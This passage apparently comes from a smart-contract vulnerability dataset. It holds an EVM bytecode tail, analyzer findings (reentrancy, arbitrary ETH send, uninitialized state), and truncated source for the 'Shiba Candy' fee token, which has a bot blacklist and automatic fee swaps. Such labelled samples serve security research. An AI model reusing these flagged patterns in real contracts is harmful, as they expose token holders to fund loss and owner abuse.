0008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4242000000000000000000000000000000000000000000000000000000000000815250905090565b600061086a6108636110ae565b8484611281565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b56110ae565b73ffffffffffffffffffffffffffffffffffffffff16146108d557600080fd5b60006108e03061064c565b90506108eb8161220c565b50565b6108f66110ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906132f8565b60405180910390fd5b601260159054906101000a900460ff1661099c57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c16110ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a45906132f8565b60405180910390fd5b60008111610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a88906132b8565b60405180910390fd5b610abf6064610ab183670de0b6b3a764000061250690919063ffffffff16565b61258190919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af69190613398565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b906110ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906132f8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cac30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110b6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf257600080fd5b505afa158015610d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2a9190612ce9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc49190612ce9565b6040518363ffffffff1660e01b8152600401610de1929190613148565b602060405180830381600087803b158015610dfb57600080fd5b505af1158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e339190612ce9565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebc3061064c565b600080610ec76107f0565b426040518863ffffffff1660e01b8152600401610ee99695949392919061319a565b6060604051808303818588803b158015610f0257600080fd5b505af1158015610f16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3b9190612e54565b5050506001601260176101000a81548160ff0219169083151502179055506000601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550670de0b6b3a7640000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611058929190613171565b602060405180830381600087803b15801561107257600080fd5b505af1158015611086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110aa9190612e02565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611126576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111d90613358565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d90613278565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112749190613398565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890613338565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611361576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135890613238565b60405180910390fd5b600081116113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b90613318565b60405180910390fd5b6113ac6107f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141a57506113ea6107f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7c57601260189054906101000a900460ff161561164d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561149c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114f65750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115505750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561164c57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115966110ae565b73ffffffffffffffffffffffffffffffffffffffff16148061160c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115f46110ae565b73ffffffffffffffffffffffffffffffffffffffff16145b61164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290613378565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116f15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116fa57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a55750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118135750601260189054906101000a900460ff165b156118dc57601260149054906101000a900460ff1661183157600080fd5b60135481111561184057600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061188b57600080fd5b601e42611898919061347d565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118e73061064c565b9050601260169054906101000a900460ff161580156119545750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561196c5750601260179054906101000a900460ff165b15611f7a576119c260646119b460036119a6601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064c565b61250690919063ffffffff16565b61258190919063ffffffff16565b82111580156119d357506013548211155b6119dc57600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2757600080fd5b42610e10600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a75919061347d565b1015611ac1576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf857600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b599061362c565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061012c42611bb0919061347d565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0f565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ceb57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c909061362c565b919050555061025842611ca3919061347d565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0e565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dde57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d839061362c565b91905055506104b042611d96919061347d565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0d565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0c57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e769061362c565b9190505550610e10600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec8919061347d565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f188161220c565b60004790506000811115611f3057611f2f476120a3565b5b611f78600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cb565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120235750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202d57600090505b612039848484846125f4565b50505050565b6000838311158290612087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207e9190613216565b60405180910390fd5b5060008385612096919061355e565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120f360028461258190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561211e573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216f60028461258190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561219a573d6000803e3d6000fd5b5050565b60006006548211156121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dc90613258565b60405180910390fd5b60006121ef612633565b9050612204818461258190919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561226a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122985781602001602082028036833780820191505090505b50905030816000815181106122d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237857600080fd5b505afa15801561238c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b09190612ce9565b816001815181106123ea577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061245130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110b6565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124b59594939291906133b3565b600060405180830381600087803b1580156124cf57600080fd5b505af11580156124e3573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b600080831415612519576000905061257b565b600082846125279190613504565b905082848261253691906134d3565b14612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d906132d8565b60405180910390fd5b809150505b92915050565b60006125c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061265e565b905092915050565b806008546125d99190613504565b60088190555060018111156125f15760146009819055505b50565b80612602576126016126c1565b5b61260d8484846126f2565b8061261b5761261a612621565b5b50505050565b6002600881905550600a600981905550565b60008060006126406128bd565b91509150612657818361258190919063ffffffff16565b9250505090565b600080831182906126a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269c9190613216565b60405180910390fd5b50600083856126b491906134d3565b9050809150509392505050565b60006008541480156126d557506000600954145b156126df576126f0565b600060088190555060006009819055505b565b6000806000806000806127048761291c565b95509550955095509550955061276286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ce90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284381612a2c565b61284d8483612ae9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128aa9190613398565b60405180910390a3505050505050505050565b600080600060065490506000670de0b6b3a764000090506128f1670de0b6b3a764000060065461258190919063ffffffff16565b82101561290f57600654670de0b6b3a7640000935093505050612918565b81819350935050505b9091565b60008060008060008060008060006129398a600854600954612b23565b9250925092506000612949612633565b9050600080600061295c8e878787612bb9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061203f565b905092915050565b60008082846129dd919061347d565b905083811015612a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1990613298565b60405180910390fd5b8091505092915050565b6000612a36612633565b90506000612a4d828461250690919063ffffffff16565b9050612aa181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ce90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afe8260065461298490919063ffffffff16565b600681905550612b19816007546129ce90919063ffffffff16565b6007819055505050565b600080600080612b4f6064612b41888a61250690919063ffffffff16565b61258190919063ffffffff16565b90506000612b796064612b6b888b61250690919063ffffffff16565b61258190919063ffffffff16565b90506000612ba282612b94858c61298490919063ffffffff16565b61298490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd2858961250690919063ffffffff16565b90506000612be9868961250690919063ffffffff16565b90506000612c00878961250690919063ffffffff16565b90506000612c2982612c1b858761298490919063ffffffff16565b61298490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c51816139b1565b92915050565b600081519050612c66816139b1565b92915050565b600081359050612c7b816139c8565b92915050565b600081519050612c90816139c8565b92915050565b600081359050612ca5816139df565b92915050565b600081519050612cba816139df565b92915050565b600060208284031215612cd257600080fd5b6000612ce084828501612c42565b91505092915050565b600060208284031215612cfb57600080fd5b6000612d0984828501612c57565b91505092915050565b60008060408385031215612d2557600080fd5b6000612d3385828601612c42565b9250506020612d4485828601612c42565b9150509250929050565b600080600060608486031215612d6357600080fd5b6000612d7186828701612c42565b9350506020612d8286828701612c42565b9250506040612d9386828701612c96565b9150509250925092565b60008060408385031215612db057600080fd5b6000612dbe85828601612c42565b9250506020612dcf85828601612c96565b9150509250929050565b600060208284031215612deb57600080fd5b6000612df984828501612c6c565b91505092915050565b600060208284031215612e1457600080fd5b6000612e2284828501612c81565b91505092915050565b600060208284031215612e3d57600080fd5b6000612e4b84828501612c96565b91505092915050565b600080600060608486031215612e6957600080fd5b6000612e7786828701612cab565b9350506020612e8886828701612cab565b9250506040612e9986828701612cab565b9150509250925092565b6000612eaf8383612ebb565b60208301905092915050565b612ec481613592565b82525050565b612ed381613592565b82525050565b6000612ee482613438565b612eee818561345b565b9350612ef983613428565b8060005b83811015612f2a578151612f118882612ea3565b9750612f1c8361344e565b925050600181019050612efd565b5085935050505092915050565b612f40816135a4565b82525050565b612f4f816135e7565b82525050565b6000612f6082613443565b612f6a818561346c565b9350612f7a8185602086016135f9565b612f83816136d3565b840191505092915050565b6000612f9b60238361346c565b9150612fa6826136e4565b604082019050919050565b6000612fbe602a8361346c565b9150612fc982613733565b604082019050919050565b6000612fe160228361346c565b9150612fec82613782565b604082019050919050565b6000613004601b8361346c565b915061300f826137d1565b602082019050919050565b6000613027601d8361346c565b9150613032826137fa565b602082019050919050565b600061304a60218361346c565b915061305582613823565b604082019050919050565b600061306d60208361346c565b915061307882613872565b602082019050919050565b600061309060298361346c565b915061309b8261389b565b604082019050919050565b60006130b360258361346c565b91506130be826138ea565b604082019050919050565b60006130d660248361346c565b91506130e182613939565b604082019050919050565b60006130f960118361346c565b915061310482613988565b602082019050919050565b613118816135d0565b82525050565b613127816135da565b82525050565b60006020820190506131426000830184612eca565b92915050565b600060408201905061315d6000830185612eca565b61316a6020830184612eca565b9392505050565b60006040820190506131866000830185612eca565b613193602083018461310f565b9392505050565b600060c0820190506131af6000830189612eca565b6131bc602083018861310f565b6131c96040830187612f46565b6131d66060830186612f46565b6131e36080830185612eca565b6131f060a083018461310f565b979650505050505050565b60006020820190506132106000830184612f37565b92915050565b600060208201905081810360008301526132308184612f55565b905092915050565b6000602082019050818103600083015261325181612f8e565b9050919050565b6000602082019050818103600083015261327181612fb1565b9050919050565b6000602082019050818103600083015261329181612fd4565b9050919050565b600060208201905081810360008301526132b181612ff7565b9050919050565b600060208201905081810360008301526132d18161301a565b9050919050565b600060208201905081810360008301526132f18161303d565b9050919050565b6000602082019050818103600083015261331181613060565b9050919050565b6000602082019050818103600083015261333181613083565b9050919050565b60006020820190508181036000830152613351816130a6565b9050919050565b60006020820190508181036000830152613371816130c9565b9050919050565b60006020820190508181036000830152613391816130ec565b9050919050565b60006020820190506133ad600083018461310f565b92915050565b600060a0820190506133c8600083018861310f565b6133d56020830187612f46565b81810360408301526133e78186612ed9565b90506133f66060830185612eca565b613403608083018461310f565b9695505050505050565b6000602082019050613422600083018461311e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613488826135d0565b9150613493836135d0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c8576134c7613675565b5b828201905092915050565b60006134de826135d0565b91506134e9836135d0565b9250826134f9576134f86136a4565b5b828204905092915050565b600061350f826135d0565b915061351a836135d0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561355357613552613675565b5b828202905092915050565b6000613569826135d0565b9150613574836135d0565b92508282101561358757613586613675565b5b828203905092915050565b600061359d826135b0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135f2826135d0565b9050919050565b60005b838110156136175780820151818401526020810190506135fc565b83811115613626576000848401525b50505050565b6000613637826135d0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366a57613669613675565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139ba81613592565b81146139c557600080fd5b50565b6139d1816135a4565b81146139dc57600080fd5b50565b6139e8816135d0565b81146139f357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201482955acc9d57506ded6d2380a0698fc5679b7d993562d9f96887edaa63973b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,606
0xAb00631ED7DacE4622898B1AD2a7703A3907e4a8
// Shiba Candy (SHIBACAN) //Limit Buy yes //Cooldown yes //Bot Protect yes //Deflationary yes //Fee yes //Liqudity dev provides and lock //TG: https://t.me/shibacandy //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaCandy is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Candy"; string private constant _symbol = "SHIBACAN \xF0\x9F\x8D\xAC"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function 